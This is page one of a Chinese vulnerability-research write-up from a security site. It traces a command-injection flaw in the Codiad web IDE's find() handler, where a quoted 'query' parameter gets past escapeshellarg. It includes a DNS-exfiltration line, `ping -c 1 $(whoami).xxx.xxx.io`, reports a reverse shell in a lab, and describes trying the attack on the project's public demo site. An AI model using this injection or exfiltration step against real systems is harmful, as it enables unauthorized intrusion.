欢迎来到 黑吧安全网 聚焦网络安全前沿资讯,精华内容,交流技术心得!

Codiad在线IDE框架漏洞挖掘

来源:本站整理 作者:佚名 时间:2018-04-20 TAG: 我要投稿

简介 :
Codiad 是一个开源基于Web的IDE应用程序,用于在线编写和编辑代码。
仓库 :
https://github.com/Codiad/Codiad
环境搭建 :
通过phpstudy搭建基础,并开启Xdebug 。
可参考https://blog.csdn.net/flyingdream123/Article/details/69358819进行环境配置。
漏洞挖掘过程:
通过cve漏洞库对Codiad以往漏洞进行查询,发现该框架对shell_exec()函数的处理上曾多次出现问题,将针对点锁定在了对该函数的调用上。

 

上一个版本中该处出现了命令执行漏洞,官网可能已经修补,先不考虑。
锁定find()函数调用

$cmd 参数由$input 设置
$input由$this->query设置

this->query参数通过get传参获取
查找对find()调用的位置

 


尝试更改action参数值为find并动态调试观察

在进入action判断前,对path参数进行了判定,所有此时一定要注意你当前目录的名字

走到这里以后,通过shell_exec执行拼接好的操作,我们可以清楚的看见此时我们构造query参数被””包含着,参考上一个代码执行漏洞的说明,在调用escapeshellarg函数对传入参数进行处理后,如果有””包含着,则仍然可以进行命令执行。

通过现有判断,我们开始构造payload,因为构造参数为Linux下,于是不得不开始搭建linux实验环境,参考http://www.freebuf.com/articles/web/141788.html进行linux环境搭建

将没有查询结果时返回信息修改为执行的$cmd
$this->message = $cmd; 便于我们查看执行的命令
采用dns外带查询判断是否有命令执行存在

需注意在“ 中再执行子命令应该使用$()执行

由此确定了该参数确实存在命令执行漏洞。
现在尝试反弹一下shell
服务器打开监听

 


发现shell成功反弹。
对demo站进行尝试。

执行语句后,无shell返回,尝试一下别的命令
`ping –c 1 $(whoami) .xxx.xxx.io“  发现dns外带,仍然能够得到信息,证明命令执行是存在的,
考虑是不是存在别的限制。

[1] [2]  下一页

【声明】:黑吧安全网(http://www.myhack58.com)登载此文出于传递更多信息之目的,并不代表本站赞同其观点和对其真实性负责,仅适于网络安全技术爱好者学习研究使用,学习中请遵循国家相关法律法规。如有问题请联系我们,联系邮箱admin@myhack58.com,我们会在最短的时间内进行处理。
  • 最新更新
    • 相关阅读
      • 本类热门
        • 最近下载